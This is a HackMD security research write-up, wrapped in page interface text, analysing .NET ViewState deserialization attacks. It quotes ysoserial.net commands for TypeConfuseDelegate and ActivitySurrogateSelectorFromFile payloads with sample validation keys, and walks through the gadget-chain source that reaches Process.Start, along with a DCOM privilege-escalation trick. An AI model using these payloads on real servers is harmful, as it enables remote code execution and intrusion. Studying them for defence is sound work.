莊晴雯
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Intro This writeup was inspired by the following [blog](https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/) that discusses .NET ViewState Exploitation. In this writeup, I explored the TypeConfuseDelegate and ActivitySurrogateSelectorFromFile [ysoserial.net](https://github.com/pwntester/ysoserial.net) gadgets, the gadgets most commonly used to exploit ViewState and gain RCE. The writeup also slightly touches upon the concept of COM and .NET Interoperabilities that serves as a foundation of the gadgets, and a lot of .NET documentations. Enjoy reading! # ViewState Basics ![image](https://hackmd.io/_uploads/HyuqGuKweg.png) ![image](https://hackmd.io/_uploads/S143fuFPex.png) ### MAC Enabled=true + Invalid ViewState ![image](https://hackmd.io/_uploads/S1T1islDxl.png) ### About ViewStateUserKey - Used to prevent CSRF attacks. - `ViewStateUserKey` is typically set to a value such as the current user’s username or the user's session identifier. - Sample scenario: - A client has two tabs open in a browser. - Tab 1: Logs in as user A, `__VIEWSTATE` with A's `ViewStateUserKey` is rendered. - Tab 2: Client logs out, logs in as User B, goes back to Tab 1 and submit the form. - Submitted `ViewStateUserKey` is A's, but on the server's side is B's, mismatch causing error. ViewState References: * https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/ * https://www.c-sharpcorner.com/uploadfile/37db1d/looking-deep-inside-postback-and-viewstate-in-Asp-Net-3-5/ # TypeConfuseDelegate This payload successfully writes a file, but shows 500 Internal Server Error Hence, we might not verify whether the file is successfully written. ``` .\ysoserial.exe -p ViewState -g TypeConfuseDelegate \ ` -c "echo ViewStatePwned > C:\pwn.txt" --generator="8E2672C3" \ ` --validationalg="SHA1" \ ` --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/BJNEDFCUex.png) Take Note: - It calls `HiddenFieldPageStatePersister Class` - Inheritance: `Object` --> `PageStatePersister` --> `HiddenFieldPageStatePersister` # ActivitySurrogateSelectorFromFile ## Passing .cs and supporting .dll files ``` ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \ -c "ExploitClassCykuModified.cs;./dlls/System.dll;./dlls/System.Web.dll" \ --generator="2B617B51" --validationalg="SHA1" \ --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/rytzcg1Dlg.png) **Error: Unable to cast object of type 'State' to 'System.Web.UI.Pair'** What this indicates: - The top-level object passed in the ViewState parameter is of type 'State' - ASP.NET ViewState expects to work with 'System.Web.UI.Pair' ## Passing .dll from a Compiled .cs Convert the .cs file to .dll ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" \ /target:library /out:C:\inetpub\wwwroot\payloadcyku.dll \ C:\Users\Michelle\Desktop\ysoserial1\ysoserial.exe\ExploitClassCykuModified.cs ``` Pass the converted payload to ysoserial ``` ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \ -c "C:\inetpub\wwwroot\payloadcyku.dll" --generator="2B617B51" \ --validationalg="SHA1" \ --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/SywpCgkvex.png) ![image](https://hackmd.io/_uploads/H1uOLzyPge.png) ## Why one works and the other does not? Two main questions: 1. Does passing a .cs file along with supporting .dll unable to result in a Pair object? 2. If so, does this fail because of: - ASP.NET ViewState deserialization expects a Pair object, or - ActivitySurrogateSelectorFile expects to work with Pair objects? ### Analyzing ActivitySurrogateSelectorFile The `Generate()` function in ActivitySurrogateSelectorFromFileGenerator.cs calls `GadgetChainsToBinaryFormatter()` from ActivitySurrogateSelectorGenerator.cs ![image](https://hackmd.io/_uploads/rk2cOzkwxl.png) The `GadgetChainsToBinaryFormatter()` instantiates a new object from `GadgetChains()` ![image](https://hackmd.io/_uploads/HkdZtMywxx.png) `GadgetChains()` itself makes use of Hashtable, IEnumerator, etc. ![image](https://hackmd.io/_uploads/rJjuYG1vll.png) Hashtable itself is a collection of key/value pairs, will it have anything to do with the errors? Not necessarily. #### Reason #1: The error message explicitly states it is related to casting and ViewState. Referencing this article: https://googleprojectzero.blogspot.com/2017/04/ - ActivitySurrogateSelector does make use of hashtable to trigger IEnumeration so our payload gets deserialized, but that happens before we pass the final payload to ViewState. - If an error about Pair occurs, it’s due to the top-level object in the serialized payload not being a Pair, which only becomes a problem at deserialization time (on the server). ``` ysoserial payload generation (Hashtable/IEnumeration happens here) -> HTTP request -> ASP.NET ViewState processing (Pair casting error happens here) ``` #### Reason #2: The gadget chain behavior itself ActivitySurrogateSelector does not necessarily expect to work with Pair Objects. See ActivitySurrogateSelector analysis for detailed walkthrough. ### Analyzing ASP.NET ViewState Handler As far as I know, ViewState deserialization uses `ObjectStateFormatter()`, making it able to deserialize any objects (?) Further analyzing how ViewState works, apparently it uses `LoadPageStateFromPersistenceMedium`, which uses `PageStatePersister.Load` ![image](https://hackmd.io/_uploads/B1r9oMJDxg.png) Recall that when using `TypeConfuseDelegate`, an error message about the `HiddenFieldPageStatePersister` occurs ![image](https://hackmd.io/_uploads/HJMOjzJvxx.png) Taking a look at the `PageStatePersister.Load()` Method, we see a deserialization in action, which will cast the result into `Pair` ``` public override void Load() { Stream stateStream = GetSecureStream(); // Read the state string, using the StateFormatter. StreamReader reader = new StreamReader(stateStream); IStateFormatter formatter = this.StateFormatter; string fileContents = reader.ReadToEnd(); // Deserilize returns the Pair object that is serialized in // the Save method. Pair statePair = (Pair)formatter.Deserialize(fileContents); ViewState = statePair.First; ControlState = statePair.Second; reader.Close(); stateStream.Close(); } ``` Few things to note: - PageStatePersister.Load() is called to load ViewState from a persistence medium. - It uses an `IStateFormatter` to deserialize ViewState data - The deserialized object is casted to `Pair` to initialize the `ViewState` and `ControlState` property - The pattern will be: `Pair(pageViewState, controlState)` Some few imformation from .NET documentation: > By default, ASP.NET page state is serialized and deserialized by an instance of the ObjectStateFormatter class; however, site and adapter developers can implement the IStateFormatter interface on their own types to perform this work. ![image](https://hackmd.io/_uploads/r1t7z7kPgx.png) About the ObjectStateFormatter Class: > Other types not listed above are binary-serialized using a BinaryFormatter object if they implement the ISerializable interface or are decorated with the SerializableAttribute attribute. Notice that we are deserializing a class (not listed in the list stated in [reference](https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1)). So our object will be deserialized by BinaryFormatter. Which makes sense, since ysoserial `ActivitySurrogateSelector` gadget itself serialized the payload using BinaryFormatter ``` MemoryStream stm = new MemoryStream(); if (inputArgs.Minify) { ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter(); fmtLocal.SurrogateSelector = new MySurrogateSelector(); fmtLocal.Serialize(stm, ls); } else { System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); } return stm.ToArray(); ``` Conclusion: - The error: `Unable to cast object of type 'State' to 'System.Web.UI.Pair'` happens when casting the deserialized object - When passing a .cs file, ysoserial compiles it and wraps it in a State object, which becomes the top-level serialized instance — breaking the ASP.NET ViewState assumption. - Execution path: > 1. Page.LoadPageStateFromPersistenceMedium() > 2. PageStatePersister.Load() > 3. IStateFormatter.Deserialize() → Expects: Pair object - This has nothing to do with the internals of the gadget itself (the early assumption of SortedKey's and Hashtable's relevance to Pair objects) - ObjectStateFormatter takes many types of data structures, the Pair fails because of the type casting Confusion: Why .dll works, .cs does not? - When you pass a compiled .dll, ysoserial loads the class from the DLL, instantiates it, and plugs the object into the ActivitySurrogateSelectorFromFile gadget chain. This chain is then wrapped in a System.Web.UI.Pair, as required by ViewState deserialization. - ysoserial.exe cannot compile the .cs file on its own — it expects a DLL, not source code. So if it works at all when you pass a .cs and .dll, it must be because: The DLL is doing the real work, or the .cs was previously compiled, cached, or accidentally referenced through a different mechanism. # Analyzing The Gadgets ## Background Knowledge ### Managed and Unmanaged Code - Managed code: execution is managed by a runtime (CLR: comple managed code to machine code and executing it) - C#, VB.NET - Unmanaged code: Programmer manages memory to security considerations - C++, VBG ### COM (unmanaged) vs. .NET (managed) - Object Lifetime - COM: Client manages when to free/release the object. - .NET: CLR automatically cleans up objects with GC. - Discovering Capabilities - COM: Requests interface, receives interface pointer if available. - .NET: Use reflection to see all properties, methods, and interfaces of the objects. - Memory Management - COM: Expects the object to stay in one place, no mechanism to deal with dynamic object location. - .NET: Objects reside in memory managed by .NET runtime execution environment, moves in memory for performance reasons. ### COM and .NET Interoperabilities Interoperability: Passing the code between managed and unmanaged boundaries. - .NET might not be COM, but should be able to interoperate with COM - .NET can implement and consume COM objects - These interoperabilities are supported by Runtime Callable Wrapper (RCW) and COM Callable Wrapper (CCW) ### Sample: Out-of-Process COM Server in C# **Server Implementation** ![image](https://hackmd.io/_uploads/SJ8ue9YPxx.png) > This is a .NET Object **Client Implementation** - Unmanaged COM client (C++) ```C++ ICustomInterface* pObj = NULL; CLSID clsid; hr = CLSIDFromProgID(L"MyNamespace.COMObject", &clsid); hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_ICustomInterface, (void**)&pObj); pObj->DoSomething(); ``` > Requests interface and receives interface pointer (if available). - Managed client (C# via COM Interop) ```C# Type comType = Type.GetTypeFromProgID("MyNamespace.COMObject"); object comObj = Activator.CreateInstance(comType); comObj.GetType().InvokeMember("DoSomething", System.Reflection.BindingFlags.InvokeMethod, null, comObj, null); ``` > Use System.Reflection to see all information about the loaded assemblies (the objects). ### How CCW Works As A Translator - When COM client calls a .NET object, a CCW is needed as a translator between COM and .NET. - The CCW is automatically created by the .NET runtime. - CCW makes the .NET object look like a native COM object to the COM client. ![image](https://hackmd.io/_uploads/HkIj95Ywlx.png) To Query Interface ```C++ IUnknown* pUnknown; HRESULT hr = CoCreateInstance(..., IID_IUnknown, (void**)&pUnknown); IDispatch* pDisp; hr = pUnknown->QueryInterface(IID_IDispatch, (void**)&pDisp); ``` > 1. Instantiates a COM object using its CLSID, requests the object to return a pointer to IUnknown interface, pUnknown will point to the COM's IUnknown vtable > 2. Now having pointer to IUnknown, use QueryInterface to get IDispatch pointer (pDisp) ### Now What If The Caller is .NET Client? ![image](https://hackmd.io/_uploads/r1PIIiKwxg.png) > Simply put, when .NET runtime gets hold of a COM object, it will go through a "process" to determine if it can unwrap the object from its CCW and avoid creating an RCW. > The process is illustrated above > It might end up calling BinaryFormatter::Deserialize()! ### Attacker's Perspective (Local Privilege Escalation) **Make the server to try and create an RCW, for a serializable .NET object that is exposed over COM (the above inner box containing ".NET Object").** ![image](https://hackmd.io/_uploads/SkfK1hFPxg.png) **This abuses WMI** > The server itself is not vulnerable, until it acts as a DCOM client: retrieving and deserializing attacker-controlled data. Trick: - Pass a .NET COM object to the server's `Equals` method - The runtime tries to convert to RCW - Runtime checks if it's a CCW wrapped .NET object, resulting in calling `GetSerializedBuffer` - Send a serialized `Hashtable` to the server containing delegate object as one of the keys. - The server contains COM implementation of the `IHashCodeProvider` Interface - Custom deserialization code causes `IHashCodeProvider::GetHashCode` to be called, rebuilding the internal hash structures, running over each keys. - The function meets the Delegate object (which is serializable), so it will gets passed back to the client (refer to the diagram above) - The client is written in native code, so `IManagedObject` automatic serialization won't occur. - The Delegate object is in the server while we are exposed to the CCW. - Make a call via CCW to start a new process with server's privileges. > The .NET COM Server becomes a DCOM client when it calls a method (GetHashCode) on a COM Interface, which is implemented by a remote object controlled by the attacker. > The serialized hashtable contains the COM implementation (not .NET!!!) of the IHashCodeProvider, causing the .NET COM Server to be a DCOM Client when calling the method. > Works in local privilege escalation but not guaranteed for RCE. ## TypeConfuseDelegate ### Key Idea Creates a `String.Compare` delegate, multicasts it to later create type confusion, then uses this multicast delegate as a comparer in a `SortedSet` Object. Sets the attacker's payload inside the `SortedSet`, then modifies the delegate's invocation list to call `Process.Start()`. ### How It Works #### Step 1: Get user's input arguments ```C# string cmdFromFile = inputArgs.CmdFromFile; if (!string.IsNullOrEmpty(cmdFromFile)) { inputArgs.Cmd = cmdFromFile; } ``` #### Step 2: Create a Multicast Delegate ```C# Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); ``` > Multicast delegate contains a list of the assigned delegates > When the multicast delegate is called, it invokes the delegates in the list in order. > The types must match first so it will be valid in the ComparisonComparer, afterwards we can modify the Invoke List 1 to System.Process.Start #### Step 3: Create a ComparisonComparer instance with the delegate ```C# IComparer<string> comp = Comparer<string>.Create(d); ``` > ComparisonComparer performs a case-sensitive comparison of two objects with the same type > Hence, since the multicast delegate contains two same types, it is valid. #### Step 4: Add user's arguments to the SortedSet ```C# SortedSet<string> set = new SortedSet<string>(comp); set.Add(inputArgs.CmdFileName); if (inputArgs.HasArguments) { set.Add(inputArgs.CmdArguments); } else { set.Add(""); } ``` #### Step 5: Modify the multicast delegate's list of invocation ```C# FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); ``` ![image](https://hackmd.io/_uploads/H1ZazMcvll.png) ![image](https://hackmd.io/_uploads/HkhazG5vee.png) #### Why specifically modify `_invocationList[1]`? - Upon object construction, `DelegateSerializationHolder.GetRealObject()` will be called. - The above function treats the first element of the delegate list (`_invokeList[0]`) as the type for the entire MultiCastDelegate object. ```C# return ((MulticastDelegate)array[0]).NewMulticastDelegate(array, array.Length); ``` - We want to keep the type ``Comparison<string>``. ## ActivitySurrogateSelector ### Key Idea Generates an enumerable (hashtable) via `LINQ`, serializes it using `ObjectSurrogate`, forces enumeration to trigger deserialization via the `ToString()` method. ### How It Works #### Step 1: Hashtable construction - Create the gadget chains in the form of `IEnumerable` ```C# byte[][] e1 = new byte[][] { assemblyBytes }; IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly> (e1, null, Assembly.Load); IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>> (e2, null, (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"))); IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>> (e3, null, (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate(typeof(Func<IEnumerable<Type>, IEnumerator<Type>>), typeof(IEnumerable<Type>).GetMethod("GetEnumerator"))); IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type> (e4, (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext")), (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, Type>), typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod())); IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance); ``` - Create a new instance of `DesignerVerb` and `IDictionary` ```C# PagedDataSource pds = new PagedDataSource() { DataSource = end }; dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); verb = new DesignerVerb("", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); ``` > DesignerVerb and IDictionary is used hand-in-hand to trigger ToString() > Will result in the LINQ enumerator being walked - Initialize a normal empty list. ```C# ls = new List<object>(); ``` - Populate the list with the pre-loaded gadget chains. ```C# ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); ``` > This becomes a list of IEnumerable elements. - Initialize a Hashtable ```C# ht = new Hashtable(); ``` - Replace the Hashtable's existing keys with `DesignerVerb` ```C# FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ``` > So ToString() method could be triggered since the key is not a string - Add the modified Hashtable to the list ```C# ls.Add(ht); ``` #### Step 2: Serialize the list - List serialization ```C# System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); ``` - And serialize our input arguments passed via ysoserial ```C# return Serialize(payload, formatter, inputArgs); ``` > The result is what we will pass to the server. #### Step 3: Server receives the payload - The Hashtable will get deserialized and all keys will be rehashed. - If two same keys are found upon rebuilding, an exception will be thrown. - The exception will end up calling `GetResourceString` and attempt to format the keys. - If the key is not a `String` type (since we modified it), it will trigger the `ToString()` method, firing up our gadget chain. ### Summary ![image](https://hackmd.io/_uploads/B1UiHTYvgl.png) - Delegates: A type that represents references to methods with a particular parameter list and return type. - We create an open delegate, which not bound to an instance and needs to be passed explicitly at invocation. - In the end, each `Type` in `e5` is passed to `Activator.CreateInstance(Type)` # References: * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister.load?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.hiddenfieldpagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.istateformatter?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1 * https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs * https://support.microsoft.com/en-us/topic/resolving-view-state-message-authentication-code-mac-errors-6c0e9fd3-f8a8-c953-8fbe-ce840446a9f3 * https://learn.microsoft.com/en-us/dotnet/framework/interop/com-interop-sample-com-client-and-net-server?source=recommendations * https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/how-to-combine-delegates-multicast-delegates * https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a * https://testbnull.medium.com/c%C3%B3-g%C3%AC-b%C3%AAn-trong-c%C3%A1c-net-deser-gadgetchain-3d89897c4878 * https://learn.microsoft.com/en-us/dotnet/api/system.collections.comparer.compare?view=net-9.0 * https://www.troyhunt.com/understanding-and-testing-for-view/

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully